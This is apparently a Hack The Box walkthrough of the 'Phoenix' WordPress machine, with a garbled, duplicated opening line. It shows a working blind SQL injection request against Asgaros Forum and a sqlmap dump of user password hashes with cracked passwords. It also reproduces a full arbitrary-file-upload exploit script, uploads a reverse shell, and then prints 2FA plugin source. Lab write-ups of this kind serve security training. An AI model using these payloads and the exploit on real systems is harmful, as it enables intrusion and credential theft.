Looking further into this /forum directory, we find it’s ran by Asgaros Forum, the current install is vulnerable to SQLi:d find cron.sh.xLooking further into this /forum directory, we find it’s ran by Asgaros Forum, the current install is vulnerable to SQLi:

``` bash
wpscan --url https://phoenix.htb/ --disable-tls-checks –enumerate u

Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Sitemap: https://phoenix.htb/wp-sitemap.xml

[+] robots.txt found: https://phoenix.htb/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.9 identified (Insecure, released on 2022-01-25).
 | Found By: Rss Generator (Passive Detection)
 |  - https://phoenix.htb/feed/, <generator>https://wordpress.org/?v=5.9</generator>
 |  - https://phoenix.htb/comments/feed/, <generator>https://wordpress.org/?v=5.9</generator>

[+] WordPress theme in use: coming-soon-event
 | Location: https://phoenix.htb/wp-content/themes/coming-soon-event/
 | Latest Version: 1.0.8 (up to date)
 | Last Updated: 2021-08-24T00:00:00.000Z
 | Readme: https://phoenix.htb/wp-content/themes/coming-soon-event/readme.txt
 | Style URL: https://phoenix.htb/wp-content/themes/coming-soon-event/style.css?ver=1.0.0
 | Style Name: Coming Soon Event
 | Description: The Coming Soon Event under construction theme will play a big role in boosting up the business and ...
 | Author: blogwp
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.0.8 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://phoenix.htb/wp-content/themes/coming-soon-event/style.css?ver=1.0.0, Match: 'Version: 1.0.8'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] accordion-slider-gallery
 | Location: https://phoenix.htb/wp-content/plugins/accordion-slider-gallery/
 | Latest Version: 2.2
 | Last Updated: 2022-02-23T06:48:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | The version could not be determined.

[+] asgaros-forum
 | Location: https://phoenix.htb/wp-content/plugins/asgaros-forum/
 | Last Updated: 2022-01-30T12:54:00.000Z
 | [!] The version is out of date, the latest version is 2.0.0
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | Version: 1.15.12 (10% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - https://phoenix.htb/wp-content/plugins/asgaros-forum/skin/widgets.css?ver=1.15.12

[+] photo-gallery-builder
 | Location: https://phoenix.htb/wp-content/plugins/photo-gallery-builder/
 | Latest Version: 2.3
 | Last Updated: 2022-02-23T07:02:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | The version could not be determined.

[+] pie-register
 | Location: https://phoenix.htb/wp-content/plugins/pie-register/
 | Latest Version: 3.7.4.2
 | Last Updated: 2022-02-14T05:16:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | The version could not be determined.

[+] timeline-event-history
 | Location: https://phoenix.htb/wp-content/plugins/timeline-event-history/
 | Latest Version: 2.2
 | Last Updated: 2022-02-23T06:58:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | The version could not be determined.
```

 - [Asgaros Forum < 2.0.0 - Subscriber+ Blind SQL Injection](https://wpscan.com/vulnerability/35272197-c973-48ad-8405-538bfbafa172)

we first need to get the _wpnonce value:

``` bash
https://phoenix.htb/wp-admin/admin-ajax.php?action=rest-nonce
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2185.jpg)

so we can build the payload request like below:

``` bash
POST /?rest_route=/asgaros-forum/v1/reaction/1/hello HTTP/2
Host: phoenix.htb
Cookie: asgarosforum_unread_cleared=1000-01-01%2000%3A00%3A00; asgarosforum_unread_exclude=a%3A1%3A%7Bi%3A1%3Bi%3A1%3B%7D; wp-settings-time-8=1648102004; PHPSESSID=9fjjtktvasvk7ttiae2lag57bj; wordpress_logged_in_3185d858877bd1933266ec420c541bfc=luci%7C1649311604%7CDS4X13KhVrhypqTbdEQOOGSwBAYP3Sra5ZwFwAC7FCE%7C7e49b65fe7fd8b77bbeb4209856d4ac458907af59e10ff0015ab926f72d210bd; wp-settings-8=mfold%3Df
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://phoenix.htb/forum/forum/first-forum/
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 88


post_id=1 UNION SELECT 1, 1, 1, 1, 1,2,3,4,5,sleep(2) FROM dual -- g&_wpnonce=3354d7889a
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2186.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2187.jpg)

confirmed this is a time based sql injection

#### Foothold

We confirm this works via manual injection. I’ll use SQLMAP to further this:

``` bash
sqlmap --url https://phoenix.htb/forum/?subscribe_topic=1 --level 3 --risk 3 --batch
```

``` bash
Database: wordpress
[40 tables]
+-------------------------------------+
| wp_commentmeta                      |
| wp_comments                         |
| wp_forum_ads                        |
| wp_forum_forums                     |
| wp_forum_polls                      |
| wp_forum_polls_options              |
| wp_forum_polls_votes                |
| wp_forum_posts                      |
| wp_forum_reactions                  |
| wp_forum_reports                    |
| wp_forum_topics                     |
| wp_links                            |
| wp_mo2f_network_blocked_ips         |
| wp_mo2f_network_email_sent_audit    |
| wp_mo2f_network_transactions        |
| wp_mo2f_network_whitelisted_ips     |
| wp_mo2f_user_details                |
| wp_mo2f_user_login_info             |
| wp_options                          |
| wp_pieregister_code                 |
| wp_pieregister_custom_user_roles    |
| wp_pieregister_invite_code_emails   |
| wp_pieregister_lockdowns            |
| wp_pieregister_redirect_settings    |
| wp_postmeta                         |
| wp_posts                            |
| wp_term_relationships               |
| wp_term_taxonomy                    |
| wp_termmeta                         |
| wp_terms                            |
| wp_usermeta                         |
| wp_users                            |
| wp_wpns_attack_logs                 |
| wp_wpns_backup_report               |
| wp_wpns_files_scan                  |
| wp_wpns_ip_rate_details             |
| wp_wpns_malware_hash_file           |
| wp_wpns_malware_scan_report         |
| wp_wpns_malware_scan_report_details |
| wp_wpns_malware_skip_files          |
+-------------------------------------+
```

The immediately useful ones are wp_user that we can dump:

``` bash
+----+------------+------------------------------------+---------------+------------------------+---------------------+---------------------+-----------------------------------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email             | user_url            | user_registered     | user_activation_key                           | user_status | display_name |
+----+------------+------------------------------------+---------------+------------------------+---------------------+---------------------+-----------------------------------------------+-------------+--------------+
|  1 | Phoenix    | $P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc. | phoenix       | phoenix@phoenix.htb    | https://phoenix.htb | 2021-11-10 15:04:57 |                                               |           0 | Phoenix      |
|  3 | john       | $P$B8eBH6QfVODeb/gYCSJRvm9MyRv7xz. | john          | john@domain.htb        |                     | 2021-11-12 13:18:52 | 1637475452:$P$Byf8G.iNgy4e7VvrqKEAA7G/eQ9KtZ. |           0 | john         |
|  5 | Jsmith     | $P$BV5kUPHrZfVDDWSkvbt/Fw3Oeozb.G. | jsmith        | john.smith@phoenix.htb |                     | 2021-11-21 06:09:43 |                                               |           0 | John Smith   |
|  6 | Jane       | $P$BJCq26vxPmaQtAthFcnyNv1322qxD91 | jane          | jane@phoenix.htb       |                     | 2021-11-21 06:10:43 | 1637475043:$P$BMJkE2fGOJndBWkaqjsnK1OYpNn2aA. |           0 | Jane Logan   |
|  7 | Jack       | $P$BzalVhBkVN.6ii8y/nbv3CTLbC0E9e. | jack          | jack@phoenix.htb       |                     | 2021-11-21 06:11:27 | 1637475087:$P$B3xIrY8QcD0jSicmD4B/iOltw1jplE/ |           0 | Jack Thomson |
+----+------------+------------------------------------+---------------+------------------------+---------------------+---------------------+-----------------------------------------------+-------------+--------------+
```

This didn’t get me as far as I’d like. We can crack pheonix’s password to phoenixthefirebird14 using john and rockyou.txt. We can try the file upload exploit:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/phoenix]
└─# john hash --wordlist=/usr/share/wordlists/rockyou.txt                                                        
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:08 1.04% (ETA: 11:01:01) 0g/s 21956p/s 109782c/s 109782C/s 840924..211126
phoenixthefirebird14 (?)     
superphoenix     (?)     
password@1234    (?)     
3g 0:00:06:25 DONE (2022-03-23 10:54) 0.007786g/s 37224p/s 99497c/s 99497C/s !!!@@@!!!..*7¡Vamos!
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.
```

 - [Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload](https://www.exploit-db.com/raw/50287)

This is pretty easy to use however we run into an SSL cert issue:

We need to change up the request to ignore SSL verification (on both requests):

``` bash
# Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/download-from-files
# Date: 10/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/download-from-files/
# Version: <= 1.48
# Tested on: Ubuntu 20.04.1 LTS (x86)

import os.path
from os import path
import json
import requests
import sys

def print_banner():
	print("Download From Files <= 1.48 - Arbitrary File Upload")
	print("Author -> spacehen (www.github.com/spacehen)")

def print_usage():
	print("Usage: python3 exploit.py [target url] [php file]")
	print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)")

def vuln_check(uri):
	response = requests.get(uri, verify=False)
	raw = response.text

	if ("Sikeres" in raw):
		return True;
	else:
		return False;

def main():

	print_banner()
	if(len(sys.argv) != 3):
		print_usage();
		sys.exit(1);

	base = sys.argv[1]
	file_path = sys.argv[2]

	ajax_action = 'download_from_files_617_fileupload'
	admin = '/wp-admin/admin-ajax.php';

	uri = base + admin + '?action=' + ajax_action ;
	check = vuln_check(uri);

	if(check == False):
		print("(*) Target not vulnerable!");
		sys.exit(1)

	if( path.isfile(file_path) == False):
		print("(*) Invalid file!")
		sys.exit(1)

	files = {'files[]' : open(file_path)}
	data = {
	"allowExt" : "php4,phtml",
	"filesName" : "files",
    "maxSize" : "1000",
    "uploadDir" : "."
	}
	print("Uploading Shell...");
	response = requests.post(uri, files=files, data=data, verify=False)
	file_name = path.basename(file_path)
	if("ok" in response.text):
		print("Shell Uploaded!")
		if(base[-1] != '/'):
			base += '/'
		print(base + "wp-admin/" + file_name);
	else:
		print("Shell Upload Failed")
		sys.exit(1)

main()
```

We can retry using a php reverse shell, Make sure this is saved with a .phtml exploit:

 - [php-reverse-shell.php](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/phoenix]
└─# python3 exploit.py https://phoenix.htb/ ./shell.phtml
Download From Files <= 1.48 - Arbitrary File Upload
Author -> spacehen (www.github.com/spacehen)
/usr/local/lib/python3.9/dist-packages/urllib3/connectionpool.py:1013: InsecureRequestWarning: Unverified HTTPS request is being made to host 'phoenix.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  warnings.warn(
Uploading Shell...
/usr/local/lib/python3.9/dist-packages/urllib3/connectionpool.py:1013: InsecureRequestWarning: Unverified HTTPS request is being made to host 'phoenix.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  warnings.warn(
Shell Uploaded!
https://phoenix.htb/wp-admin/shell.phtml
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/phoenix]
└─# nc -lvp 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.11.149.
Ncat: Connection from 10.10.11.149:34844.
Linux phoenix 5.4.0-96-generic #109-Ubuntu SMP Wed Jan 12 16:49:16 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 06:28:24 up 18:25,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1001(wp_user) gid=1001(wp_user) groups=1001(wp_user)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
wp_user@phoenix:/$ ^Z
[1]+  Stopped                 nc -lvp 1234

┌──(root💀kali)-[~/hackthebox/machine/phoenix]
└─# stty raw -echo

┌──(root💀kali)-[~/hackthebox/machine/phoenix]
nc -lvp 1234
            reset
reset: unknown terminal type unknown
Terminal type? screen
wp_user@phoenix:/$ id
uid=1001(wp_user) gid=1001(wp_user) groups=1001(wp_user)
wp_user@phoenix:/$ whoami
wp_user
```

#### GET OPT KEY

we find there is a 2FA auth in /wp-admin login page, we try to figure it out how to bypass it, or just get the OTP key:

and we found encrypt and decrypt functions from the source of that miniorange plugin at handler/twofa/two_fa_utility.php

``` bash
wp_user@phoenix:~/wordpress$ cat /opt/wordpress/wp-content/plugins/miniorange-2-factor-authentication/handler/twofa/two_fa_utility.php
<?php
/** miniOrange enables user to log in through mobile authentication as an additional layer of security over password.
 * Copyright (C) 2015  miniOrange
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>
 * @package        miniOrange OAuth
 * @license        http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 */

/**
 * This library is miniOrange Authentication Service.
 * Contains Request Calls to Customer service.
 **/
class MO2f_Utility {

        public static function get_hidden_phone( $phone ) {
                $hidden_phone = 'xxxxxxx' . substr( $phone, strlen( $phone ) - 3 );
                return $hidden_phone;
        }

        public static function mo2f_check_empty_or_null( $value ) {
                if ( ! isset( $value ) || $value == '' ) {
                        return true;
                }
                return false;
        }

        public static function is_curl_installed() {
                if ( in_array( 'curl', get_loaded_extensions() ) ) {
                        return 1;
                } else {
                        return 0;
                }
        }

        public static function get_all_plugins_installed() {
                $all_plugins = get_plugins();
                $plugins = array();
                $form = "";
                $plugins["None"] = "None";
                foreach ($all_plugins as $plugin_name=>$plugin_details){
                        $plugins[$plugin_name] = $plugin_details["Name"];
                }
                unset($plugins['miniorange-2-factor-authentication/miniorange_2_factor_settings.php']);
                $form .= '<div style="padding:5px;margin-left:4%;font-size:13px;background-color: #a3e8c2">Please select the plugin<br>
                        <select name="plugin_selected">';
                foreach($plugins as $identifier=>$name) {
                        $form .= '<option value="' . $identifier . '">' .  $name . '</option>' ;
                }
                $form .= '</select></div>';
                return $form;
        }

        public static function mo2f_check_number_length( $token ) {
                if ( is_numeric( $token ) ) {
                        if ( strlen( $token ) >= 4 && strlen( $token ) <= 8 ) {
                                return true;
                        } else {
                                return false;
                        }
                } else {
                        return false;
                }
        }

        public static function mo2f_get_hidden_email( $email ) {
                if ( ! isset( $email ) || trim( $email ) === '' ) {
                        return "";
                }
                $emailsize    = strlen( $email );
                $partialemail = substr( $email, 0, 1 );
                $temp         = strrpos( $email, "@" );
                $endemail     = substr( $email, $temp - 1, $emailsize );
                for ( $i = 1; $i < $temp; $i ++ ) {
                        $partialemail = $partialemail . 'x';
                }
                $hiddenemail = $partialemail . $endemail;
                return $hiddenemail;
        }

        public static function check_if_email_is_already_registered( $email ) {
                global $Mo2fdbQueries;
                $users = get_users( array() );
                foreach ( $users as $user ) {
                        $user_email = $Mo2fdbQueries->get_user_detail( 'mo2f_user_email', $user->ID );
                        if ( $user_email == $email ) {
                                return true;
                        }
                }

                return false;
        }

        public static function check_if_request_is_from_mobile_device( $useragent ) {
                if ( preg_match( '/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i', $useragent ) || preg_match( '/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i', substr( $useragent, 0, 4 ) ) ) {
                        return true;
                } else {
                        return false;
                }
        }


        public static function set_user_values(  $user_session_id, $variable, $value){
                global $Mo2fdbQueries;
                $key = get_option( 'mo2f_encryption_key' );
                $data_option=NULL;

                if(empty($data_option)){

                        //setting session
                        $_SESSION[$variable] = $value;

                        // setting cookie values
                        if(is_array($value)){
                                if($variable == 'mo_2_factor_kba_questions'){
                                        MO2f_Utility::mo2f_set_cookie_values( 'kba_question1', $value[0]['question']);
                                        MO2f_Utility::mo2f_set_cookie_values( 'kba_question2', $value[1]['question'] );
                                }else if($variable == 'mo2f_rba_status'){
                                        MO2f_Utility::mo2f_set_cookie_values( 'mo2f_rba_status_status', $value["status"] );
                                        MO2f_Utility::mo2f_set_cookie_values( 'mo2f_rba_status_sessionUuid', $value["sessionUuid"] );
                                        MO2f_Utility::mo2f_set_cookie_values( 'mo2f_rba_status_decision_flag', $value["decision_flag"] );
                                }
                        }else{
                                MO2f_Utility::mo2f_set_cookie_values( $variable, $value);
                        }

                        // setting values in database
                        $user_session_id = MO2f_Utility::decrypt_data( $user_session_id, $key );
                        if ( is_array( $value ) ) {
                                $string_value = serialize( $value );
                                $Mo2fdbQueries->save_user_login_details( $user_session_id, array( $variable => $string_value ) );
                        } else {
                                $Mo2fdbQueries->save_user_login_details( $user_session_id, array( $variable => $value ) );
                        }
                } else if (!empty($data_option) && $data_option=="sessions"){

                        $_SESSION[$variable] = $value;

                }else if (!empty($data_option) && $data_option=="cookies"){

                        if(is_array($value)){
                                if($variable == 'mo_2_factor_kba_questions'){
                                        MO2f_Utility::mo2f_set_cookie_values( 'kba_question1', $value[0] );
                                        MO2f_Utility::mo2f_set_cookie_values( 'kba_question2', $value[1] );
                                }else if($variable == 'mo2f_rba_status'){
                                        MO2f_Utility::mo2f_set_cookie_values( 'mo2f_rba_status_status', $value["status"] );
                                        MO2f_Utility::mo2f_set_cookie_values( 'mo2f_rba_status_sessionUuid', $value["sessionUuid"] );
                                        MO2f_Utility::mo2f_set_cookie_values( 'mo2f_rba_status_decision_flag', $value["decision_flag"] );
                                }
                        }else{
                                MO2f_Utility::mo2f_set_cookie_values( $variable, $value);
                        }
                } else if (!empty($data_option) && $data_option=="tables"){
                        $user_session_id = MO2f_Utility::decrypt_data( $user_session_id, $key );
                        if ( is_array( $value ) ) {
                                $string_value = serialize( $value );
                                $Mo2fdbQueries->save_user_login_details( $user_session_id, array( $variable => $string_value ) );
                        } else {
                                $Mo2fdbQueries->save_user_login_details( $user_session_id, array( $variable => $value ) );
                        }
                }
        }
        public static function get_client_ipaddress(){

                $ip = null;
                if (!empty($_SERVER['HTTP_CLIENT_IP'])) {

                        $ip = $_SERVER['HTTP_CLIENT_IP'];

                } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {

                        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];

                } else {
                        $ip = $_SERVER['REMOTE_ADDR'];
                }
                return $ip;
        }
        /*

        Returns Random string with length provided in parameter.

        */

        /**
         * @param string $data - crypt response from Sagepay
         *
         * @return string
         */
        public static function decrypt_data( $data, $key ) {
                $c = base64_decode($data);
                $ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
                $iv = substr($c, 0, $ivlen);
                $hmac = substr($c, $ivlen, $sha2len=32);
                $ciphertext_raw = substr($c, $ivlen+$sha2len);
                $original_plaintext = openssl_decrypt($ciphertext_raw, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
                $calcmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);
                $decrypted_text = '';
                if(is_string($hmac) and is_string($calcmac))
                {
                        if (hash_equals($hmac, $calcmac))//PHP 5.6+ timing attack safe comparison
                        {
                                $decrypted_text=$original_plaintext;
                        }
                }

                return $decrypted_text;
        }

        public static function random_str( $length, $keyspace = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' ) {
                $randomString     = '';
                $charactersLength = strlen( $keyspace );
                $keyspace         = $keyspace . microtime( true );
                $keyspace         = str_shuffle( $keyspace );
                for ( $i = 0; $i < $length; $i ++ ) {
                        $randomString .= $keyspace[ rand( 0, $charactersLength - 1 ) ];
                }

                return $randomString;

        }

        public static function mo2f_set_transient( $session_id, $key, $value, $expiration = 300 ) {
                set_transient($session_id.$key, $value, $expiration);
                $transient_array = get_site_option($session_id);
                $transient_array[$key] = $value;
                update_site_option($session_id, $transient_array);
                MO2f_Utility::mo2f_set_session_value($session_id, $transient_array);
                if(is_array($value))
                $value = json_encode($value) ;
            
                MO2f_Utility::mo2f_set_cookie_values(base64_encode($session_id),$value);
            
  }
        public static function mo2f_get_transient( $session_id, $key) {
                   MO2f_Utility::mo2f_start_session();

        if(isset($_SESSION[$session_id])){
                $transient_array = $_SESSION[$session_id];
                $transient_value = isset($transient_array[$key]) ? $transient_array[$key] : null;
                return $transient_value;
        }else if(isset($_COOKIE[base64_decode($session_id)])){
                $transient_value = MO2f_Utility::mo2f_get_cookie_values(base64_decode($session_id));
                return $transient_value;
        }else{
                $transient_value = get_transient($session_id.$key);
                if(!$transient_value){
                                $transient_array = get_site_option($session_id);
                                $transient_value = isset($transient_array[$key]) ? $transient_array[$key] : null;
                        }
                return $transient_value;
        }


        }
    public static function mo2f_set_session_value($session_id, $transient_array){
                 MO2f_Utility::mo2f_start_session();
                    $_SESSION[ $session_id ] = $transient_array ;
    }

    public static function mo2f_start_session() {
                if ( ! session_id() || session_id() == '' || ! isset( $_SESSION ) ) {
                        $session_path = ini_get('session.save_path');
                        if( is_writable($session_path) && is_readable($session_path) && !headers_sent() ) {
                           if(session_status() != PHP_SESSION_DISABLED )
                                   session_start();
                        }
                }
        }
        /**
         * The function returns the session variables, and if not, retrieves the cookie values set in case the right permissions are not aassigned for the sessions folder in the server.
         *
         * @param string $variable - the session or cookie variable name
         * @param string $session_id - the session id of the user
         *
         * @return string
         */
        public static function mo2f_retrieve_user_temp_values( $variable, $session_id = null ) {
                global $Mo2fdbQueries;
                $data_option=NULL;
                if(empty($data_option)){
                        if ( isset( $_SESSION[ $variable ] ) && ! empty( $_SESSION[ $variable ] ) ) {
                                //update_option('mo2f_data_storage',"sessions");
                                return $_SESSION[ $variable ];
                        } else {
                                $key        = get_option( 'mo2f_encryption_key' );
                                $cookie_value = false;
                                if ( $variable == 'mo2f_rba_status' ) {
                                        if ( isset( $_COOKIE['mo2f_rba_status_status'] ) && ! empty( $_COOKIE['mo2f_rba_status_status'] ) ) {
                                                $mo2f_rba_status_status        = MO2f_Utility::mo2f_get_cookie_values( 'mo2f_rba_status_status' );
                                                $mo2f_rba_status_sessionUuid   = MO2f_Utility::mo2f_get_cookie_values( 'mo2f_rba_status_sessionUuid' );
                                                $mo2f_rba_status_decision_flag = MO2f_Utility::mo2f_get_cookie_values( 'mo2f_rba_status_decision_flag' );
                                                $cookie_value = array(
                                                        "status"        => $mo2f_rba_status_status,
                                                        "sessionUuid"   => $mo2f_rba_status_sessionUuid,
                                                        "decision_flag" => $mo2f_rba_status_decision_flag
                                                );
                                        }
                                } else if ( $variable == 'mo_2_factor_kba_questions' ) {
                                        if ( isset( $_COOKIE['kba_question1'] ) && ! empty( $_COOKIE['kba_question1'] ) ) {

                                                $kba_question1['question'] = MO2f_Utility::mo2f_get_cookie_values( 'kba_question1' );
                                                $kba_question2['question'] = MO2f_Utility::mo2f_get_cookie_values( 'kba_question2' );
                                                $cookie_value = array( $kba_question1, $kba_question2 );
                                        }
                                } else {
                                        $cookie_value = MO2f_Utility::mo2f_get_cookie_values( $variable );
                                }
                                if($cookie_value){
                                        return $cookie_value;
                                } else {
                                        $session_id = MO2f_Utility::decrypt_data( $session_id, $key );
                                        $db_value = $Mo2fdbQueries->get_user_login_details( $variable, $session_id );
                                        if ( in_array( $variable, array( "mo2f_rba_status", "mo_2_factor_kba_questions" ) ) ) {
                                                $db_value = unserialize( $db_value );
                                        }
                                        return $db_value;
                                }
                        }
                }else if (!empty($data_option) && $data_option=="sessions"){
                        if ( isset( $_SESSION[ $variable ] ) && ! empty( $_SESSION[ $variable ] ) ) {
                                return $_SESSION[ $variable ];
                        }
                }else if (!empty($data_option) && $data_option=="cookies"){
                        $key        = get_option( 'mo2f_encryption_key' );
                        $cookie_value = false;

                        if ( $variable == 'mo2f_rba_status' ) {
                                if ( isset( $_COOKIE['mo2f_rba_status_status'] ) && ! empty( $_COOKIE['mo2f_rba_status_status'] ) ) {
                                        $mo2f_rba_status_status        = MO2f_Utility::mo2f_get_cookie_values( 'mo2f_rba_status_status' );
                                        $mo2f_rba_status_sessionUuid   = MO2f_Utility::mo2f_get_cookie_values( 'mo2f_rba_status_sessionUuid' );
                                        $mo2f_rba_status_decision_flag = MO2f_Utility::mo2f_get_cookie_values( 'mo2f_rba_status_decision_flag' );

                                        $cookie_value = array(
                                                "status"        => $mo2f_rba_status_status,
                                                "sessionUuid"   => $mo2f_rba_status_sessionUuid,
                                                "decision_flag" => $mo2f_rba_status_decision_flag
                                        );
                                }

                        } else if ( $variable == 'mo_2_factor_kba_questions' ) {

                                if ( isset( $_COOKIE['kba_question1'] ) && ! empty( $_COOKIE['kba_question1'] ) ) {
                                        $kba_question1 = MO2f_Utility::mo2f_get_cookie_values( 'kba_question1' );
                                        $kba_question2 = MO2f_Utility::mo2f_get_cookie_values( 'kba_question2' );


                                        $cookie_value = array( $kba_question1, $kba_question2 );
                                }

                        } else {
                                $cookie_value = MO2f_Utility::mo2f_get_cookie_values( $variable );
                        }

                        if($cookie_value){
                                return $cookie_value;
                        }
                }else if (!empty($data_option) && $data_option=="tables"){
                        $key = get_option( 'mo2f_encryption_key' );
                        $session_id = MO2f_Utility::decrypt_data( $session_id, $key );
                        $db_value = $Mo2fdbQueries->get_user_login_details( $variable, $session_id );
                        if ( in_array( $variable, array( "mo2f_rba_status", "mo_2_factor_kba_questions" ) ) ) {
